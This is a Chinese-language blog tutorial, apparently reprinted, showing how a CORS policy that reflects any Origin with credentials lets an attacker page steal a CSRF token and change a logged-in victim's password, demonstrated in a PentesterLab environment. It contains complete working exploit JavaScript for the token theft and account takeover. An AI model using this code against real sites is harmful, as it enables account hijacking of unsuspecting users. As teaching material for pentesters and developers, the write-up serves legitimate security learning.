通过滥用配置错误的CORS策略绕过CSRF令牌保护

通过滥用配置错误的CORS策略绕过CSRF令牌保护

今天我将教你一种很酷且有趣的方法,通过查找配置错误的 CORS 策略来绕过用于抵御 CSRF 攻击的令牌保护。如果您是 Bug 赏金猎人、渗透测试者或只是希望编写更安全代码的开发人员(我尊重您!),这可能会很有用。

我将使用 Pentesterlab Pro ISO 文件和环境,您无需遵循此文章。我不会真正按照房间的意图去做(ISO 实际上是错误的),我只会使用这个实验室环境来更容易理解和练习这个错误,但我会详细说明你需要知道的一切在真实网站中执行此攻击。
(如果您有 Pro 订阅,您可以通过单击此处下载 ISO,并通过单击此处了解如何在 VirtualBox 中安装 ISO )。

好的。让我们开始。

通过滥用配置错误的CORS策略绕过CSRF令牌保护
CORS

SOP、CORS 和 CSRF 的简要说明(如果您已经知道,请跳过)

如果我们想了解这种攻击,我们首先需要了解同源策略。

同源政策 (SOP)

这是网络的基本安全模型:不应允许来自不同来源的 2 个网页相互干扰。

SOP 可防止:

  • 站点 A 上的 JavaScript 读取站点 B 的 cookie。
  • 站点 A 上的 JavaScript 读取站点 B 的内容。

为了进一步理解这一点,我们需要将网络视为一个操作系统:
– 起源类似于操作系统进程
– 网络浏览器本身类似于操作系统内核
– 站点依赖浏览器来执行所有系统的安全规则,因此就像操作系统一样,如果浏览器本身存在错误,那么所有这些规则都会消失。

如果我们理解了上面的内容,我们可以理解同源策略的基本规则是:
给定 2 个独立的 Javascript 执行上下文,只有与它们的主机文档关联的协议主机名端口号匹配时,一个应该能够访问另一个.这称为同源。

示例网址:

https://example.com:4000/a/b.html?user=Alice&year=2019#part2

协议(https) —主机名(example.com) —端口(4000) —路径(/a/b.html) —查询(?user=Alice&year=2019) —片段(#part2)

所以这里我们只关心协议主机名端口,即ORIGIN。对于这种情况,来源是:https ://example.com:4000

您也可以使用 更好地理解这一点curl

如果您curl一个网站,您将收到响应,并且不会发回任何 cookie,因为您不在浏览器中,但如果您使用浏览器中另一个网站fetch()Javascript (例如使用浏览器的控制台),您就赢了不要让网站恢复,因为浏览器会尝试附加 cookie 和数据,您将被CORS阻止。那将是不安全的,网站很容易能够访问您的其他网站的 cookie/数据。这可以通过2 个允许发送凭据的特殊标头来取消激活:是我们的下一个主题:跨域资源共享Access-Control-Allow-OriginAccess-Control-Allow-Credentials: true

注意:XMLHttpRequestFetch API 也遵循同源策略

注意 2:SOP 是一个广泛的主题,因此我鼓励您在此处阅读更多相关信息:https ://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

跨域资源共享 (CORS)

这是一种浏览器机制,允许对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 (SOP) 的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也可能引发跨域攻击。

CORS 将使用HTTP 标头来允许或拒绝请求,并定义受信任的 Web 来源和相关属性,例如是否允许经过身份验证的访问。浏览器将发送一个带有Origin标头的请求,并将请求发起的域作为其值,服务器将决定是否允许此请求。

服务器可以通过响应标头和主机名列表来允许浏览器发出CORS 请求。默认情况下,浏览器将发送未经身份验证的请求,除非服务器将标头设置为true。Access-Control-Allow-Origin:Access-Control-Allow-Credential

注意: CORS 不是针对CSRF等跨域攻击的保护措施,它实际上可能会增加 CSRF 攻击的可能性或加剧其影响,我们稍后会看到。

跨站请求伪造 (CSRF)

强制最终用户在其当前经过身份验证的 Web 应用程序上执行不需要的操作的攻击。这种攻击可以通过访问带有一些恶意代码的恶意站点(如果目标站点中存在漏洞)来强制用户执行诸如转移资金、更改电子邮件地址、在服务器中运行命令(如果是管理员)等请求)。在攻击者无法读取 HTTP 响应时有效。

试图减轻 CSRF 攻击的网站将使用CSRF 令牌,但如果令牌没有很好地实施或使用了错误配置的 CORS 策略,那么这种保护很容易被绕过!

为了使 CSRF 攻击成为可能,我们需要:

  • 相关行动
  • 基于 Cookie 的会话处理(不使用其他身份验证方法,因此发送 Cookie)
  • 没有不可预测的请求参数:攻击者不必猜测任何值。例如,当导致用户更改其密码时,如果攻击者需要知道当前密码的值,则该功能不会受到攻击。(有效的操作是将帐户的电子邮件更改为攻击者控制的电子邮件)。

攻击示例:银行在转账资金页面中容易受到 CSRF 攻击。攻击者向受害者发送一个恶意链接,该链接的主页包含一个带有 POST 请求的简单脚本,用于将资金转移到他自己的账户。
受害者在登录时访问了这个恶意网站,甚至没有注意到任何奇怪的事情,他的账户余额被耗尽了!攻击者窃取了受害者的资金,因为该站点没有任何针对 CSRF 攻击的保护措施。

受害者必须登录我们要攻击的站点才能使这项工作正常进行!

在攻击之前了解我们的目标

好的,现在我们知道了基本概念,我们可以进入有趣的部分!正如我之前所说,我将使用 Pentesterlab 环境仅用于演示目的,但您无需执行任何操作!该站点将在我的本地网络192.168.0.13中运行,正如您稍后将看到的,我将在192.168.0.4中托管我自己的“站点” 。

我要使用的网站很简单:我们可以注册、登录、注销和更改密码。而已。我们要关注的功能是更改密码,因为它是多么敏感,如果被利用它可能会有多么危险。在现实生活中,任何带有 CSRF 令牌和错误配置的 CORS 设置的敏感操作都将是类似的漏洞利用场景!

通过滥用配置错误的CORS策略绕过CSRF令牌保护
主页

我用用户名:user 和密码:user 创建了一个用户

通过滥用配置错误的CORS策略绕过CSRF令牌保护
用户名密码均为user

然后我登录了(请参阅下面的请求。现在没什么重要的):

通过滥用配置错误的CORS策略绕过CSRF令牌保护
登录请求。不重要

很好!我们已经登录。下一步是什么?

通过滥用配置错误的CORS策略绕过CSRF令牌保护
登录和更改密码页面

可以看到,我们登录后的主页面是Change Password页面。在这里,我们会注意到,当我们更改密码(user123 将是新密码)时,每个请求都会发送一个令牌。该令牌是用于防止 CSRF 攻击的CSRF 令牌。

您可以看到这个标记作为隐藏输入嵌入到 HTML 表单中:

通过滥用配置错误的CORS策略绕过CSRF令牌保护
html 形式的 CSRF 令牌

然后包含在请求中(也要注意Origin标头):

通过滥用配置错误的CORS策略绕过CSRF令牌保护
更改密码请求

现在,在这个站点中,我们在更改密码后得到的响应是 200,其中还包括一些 CORS 标头(见下图)。我们可以在这里看到,包含在 中的域Origin反映在包含的Access-Control-Allow-Origin标头中Access-Control-Allow-Credentials:true。这意味着该站点允许访问与此标头匹配的域的响应(如果源匹配,浏览器将允许从 Origin 标头的网站运行的代码访问目标网站的响应。)

通过滥用配置错误的CORS策略绕过CSRF令牌保护
更改密码响应

好吧,似乎没什么奇怪的吧?我们正在同一个站点 (192.168.0. 13 ) 执行一个操作,并且 CORS 允许它。但是,如果我们尝试将Origin标头值更改为我们作为攻击者控制的域怎么办?我将使用不同的密码重复请求,但将Origin标头的值更改为某个虚拟主机(192.168.0. 123

通过滥用配置错误的CORS策略绕过CSRF令牌保护
更改密码请求测试CORS 漏洞
通过滥用配置错误的CORS策略绕过CSRF令牌保护
更改密码响应测试 CORS 漏洞

瞧!它接受Origin标头中的任何主机,并且还允许凭据。这是什么意思?这意味着从我们控制的另一个域中,我们可以访问响应。因此,如果我们可以访问响应,我们可以读取我们之前看到它嵌入在 HTML 表单中的 CSRF 令牌,并使用此令牌通过将其包含在我们的恶意密码更改请求中来执行 CSRF 攻击(注意:受害者登录时必须访问我们的网站)

等等,等等,等等……我们到底是怎么做到的?我会给你看 :)

攻击

因为我在本地网络中工作,所以我将首先获取我的本地 IP 地址。您可以在 Windows 上通过打开cmd 并执行ipconfig来获取它,然后查找您的私有 IP 地址。我正在使用 Linux,所以我可以在我的网络接口 → 192.168.0.4ip a中键入找到它。wlps40

优秀。我们有我们的私有 IP,这相当于拥有一个网站(您实际上可以使用一个来使攻击更加真实)。现在,就像每次 CSRF 攻击一样,我们需要编写一些代码并将其托管在我们的站点中。我将python3 -m http.server 80在一个文件夹中运行,我将在其中创建一个名为 HTML 的文件malicious.html,该文件将包含我们的代码,但这可以托管在您在现实生活场景中控制的网站中。

对于这种攻击,我们首先需要找到一种方法来窃取受害者的 CSRF 令牌。我们知道令牌嵌入在 HTML 表单中,并且由于 CORS 策略配置错误,我们可以从我们的域访问响应。因此,我们需要识别存储令牌的标签的名称或 ID,然后抓取它。

我在上一节中向您展示了令牌如何存储在 HTML 表单中的屏幕截图。它看起来像这个标签:

<input type="hidden" name="token" value="xxxxxxxxx" />

因此,为了检索受害者的令牌,我们需要使用 AJAX 向易受攻击的站点发送跨站点请求,在 DOM 中查找令牌,抓取它,然后将其值分配给一个变量,以便我们以后使用它在 CSRF 攻击中。

漏洞利用:第 1 部分

<html>
<head></head>
<body>

<script>

	// 1. We must get the CSRF token first (the cookie is obtained and with withCredentials=true we send it in the other requests!
	const req = new XMLHttpRequest();
	let token = 'token=';

	// Token will be obtained by interacting with the DOM. SO, we need to return a HTMLDocument/Document object i.e. a DOM that we can interact with, this is why the responseType is set to 'document'
	req.responseType = 'document';

	req.open('GET', 'http://192.168.0.13/index.php', true);
	req.withCredentials = true;
	req.send();

	req.onload = () => {
		let response = req.response;
		domToken =  response.querySelector('input[name="token"]').value; // obtaining the token from the DOM
		console.log(domToken);
		token += domToken;
	}

</script>

</body>
</html>

我们首先创建一个XMLHttpRequest对象和一个带有“token=”token前缀值的变量,因为正如我们稍后将看到的,CSRF 攻击将从表单发出 POST 请求,并且表单遵循特殊的正文格式。稍后再详细介绍。

之后,我们将请求的响应类型设置为document。考虑到我们希望与 DOM 交互以轻松获取 CSRF 令牌值,这一点很重要。返回的对象将是一个HTMLDocument,它类似于Document的别名。

然后,我们创建对GET易受攻击站点的请求(192.168.0.13/index.php),我们指定withCredentials=true哪个告诉浏览器我们要使用凭据(例如 cookie、授权标头或 TLS 客户端证书)执行跨站点请求我们使用 . 发送请求send()

我们还必须指定在收到响应后会发生什么,onload()以便我们可以提取令牌并在此之后进行密码重置攻击。因此,我们获取响应并将其存储在变量中,并且由于我们正在与 DOM 交互,我们可以使用经典的 JS 函数通过指定元素的名称input来获取标签的值。最后,我们在之前拥有 CSRF 令牌的令牌字符串的末尾追加。querySelector()

请记住,由于配置错误的 CORS 策略,我们可以发出跨站点请求并窃取受害者的 CSRF 令牌。否则,这是不可能的。

(如果您想了解更多关于获取输入字段值的信息,就像我读过这个答案:https://stackoverflow.com/questions/7609130/set-the-value-of-an-input-field/64918427? noredirect=1#comment119362498_64918427

漏洞利用:第 2 部分

太好了,现在我们完成了第一部分。我们需要的最后一件事是 CSRF 密码重置功能来更改受害者的密码并尝试我们的攻击。下面,您将找到整个攻击的完整利用代码以及我现在将解释的第二部分。

<html>
<head></head>
<body>

<h2>Hi, if you are seeing this your account is now mine :)</h2>


<script>

	// 1. We must get the CSRF token first (the cookie is obtained and with withCredentials=true we send it in the other requests!
	const req = new XMLHttpRequest();
	let token = 'token=';

	// Token will be obtained by interacting with the DOM. SO, we need to return a HTMLDocument/Document object i.e. a DOM that we can interact with, this is why the responseType is set to 'document'
	req.responseType = 'document';

	req.open('GET', 'http://192.168.0.13/index.php', true);
	req.withCredentials = true;
	req.send();

	req.onload = () => {
		let response = req.response;
		domToken =  response.querySelector('input[name="token"]').value; // obtaining the token from the DOM
		console.log(domToken);
		token += domToken;

		passwordReset();
	}



	// Function for doing the CSRF password reset attack with the obtained token
	const passwordReset = () => {
		const reqPw = new XMLHttpRequest();
		reqPw.open('POST', 'http://192.168.0.13/', true);
		reqPw.withCredentials = true;
		
		reqPw.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
		
		
		reqPw.send(token+'&password=pwned123&password_again=pwned123'); // body of request
	}

</script>

</body>
</html>

如您所见,我们现在passwordReset()在代码逻辑之后包含了一个函数onload()。这个函数将执行 CSRF 攻击,其中包含 CSRF 令牌和密码pwned123(尽管它可以是任何值)。我还向我们的受害者添加了一个讽刺友好的信息:)

passwordReset()函数首先创建一个XMLHttpRequest对象以向易受攻击的站点发出 AJAX POST请求,并withCredentials=true像我们在第 1 部分中所做的那样进行设置。

之后,我们将Content-Type请求标头设置为,application/x-www-form-urlencoded因为正如我之前提到的,HTML 表单具有特殊的正文格式。服务器通过设置此标头来理解这种格式,它基本上表示我们将发送由 & 分隔的名称/值对列表,&以及与带有等号的值分隔的名称=,例如 : param=123&otherParam=999。而已!

最后,我们通过包含存储在token变量中的 CSRF 令牌并将其与我们可以在 HTML 表单中找到的字段连接password起来password_again以这种格式发送请求(您可以按 F12 或右键单击并检查以查看这些名称输入)。

酷,我们完成了。让我们试试吧!

收拾一切!

首先,我将再次登录到易受攻击的站点,就像我们之前使用我的用户 user密码 user987所做的那样。

通过滥用配置错误的CORS策略绕过CSRF令牌保护

现在,我的恶意站点托管在我的计算机上,因此我们只需要打开一个 Python 服务器,就像我在包含 HTML 文件的文件夹中解释的那样,并访问我们的私有 IP 地址 + 文件名,如下所示:

通过滥用配置错误的CORS策略绕过CSRF令牌保护
恶意.html

当我们在登录到另一个网站的同时访问这个恶意网站时,会触发 3 个请求:

一个请求是对我们文件的GET 。malicious.html这里没什么特别的。

通过滥用配置错误的CORS策略绕过CSRF令牌保护
完成攻击请求

第二个请求跨站点 GETindex.php其中包含密码更改表单和嵌入其中的 CSRF 令牌的主页。我们的恶意脚本将发出请求,然后获取 CSRF 令牌以将其存储在token变量中:(请参阅 Origin 标头)

通过滥用配置错误的CORS策略绕过CSRF令牌保护
第二个请求。
CSRF Token 提取请求
通过滥用配置错误的CORS策略绕过CSRF令牌保护
第二次请求响应。
CSRF 令牌提取响应

我们可以看到,在Access-Control-Allow-Origin标头中反映了 Origin 并且允许我们的恶意站点读取响应。(请注意,Access-Control-Allow-Credentials 也设置为 true)。

为了完成所有事情,我们的脚本将调用我们的最终函数passwordReset()并向./

第三个请求:

通过滥用配置错误的CORS策略绕过CSRF令牌保护
第三次请求。
包含令牌和我们选择的密码的实际 CSRF 攻击!!
账户接管

这个最终请求包括被盗的 CSRF 令牌和我们选择的密码,这是攻击成功的真实证据。

繁荣!我们有一个帐户接管。所有这一切都在几秒钟内发生,访问我们网站的受害者将无法判断发生了恶意事件。
现在我们可以使用他/她的用户名user和我们选择的密码登录,pwned123以测试一切正常。

最后的话

我希望你今天学到了一些有趣和有用的东西。开发人员每天都会犯错误,漏洞将永远存在。问题在于查看正确的位置并了解应用程序正在做什么以及开发人员在编码时打算做什么。

我鼓励您了解更多关于同源政策和 CORS 的信息,因为这些是互联网如何运作的关键主题,可以提升您的黑客技能和职业生涯。

如果您喜欢这篇文章,为什么不分享它以便其他人也可以学习呢?
另外,有什么问题可以在评论里问我,我会很乐意回答的。我也会接受任何反馈!

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注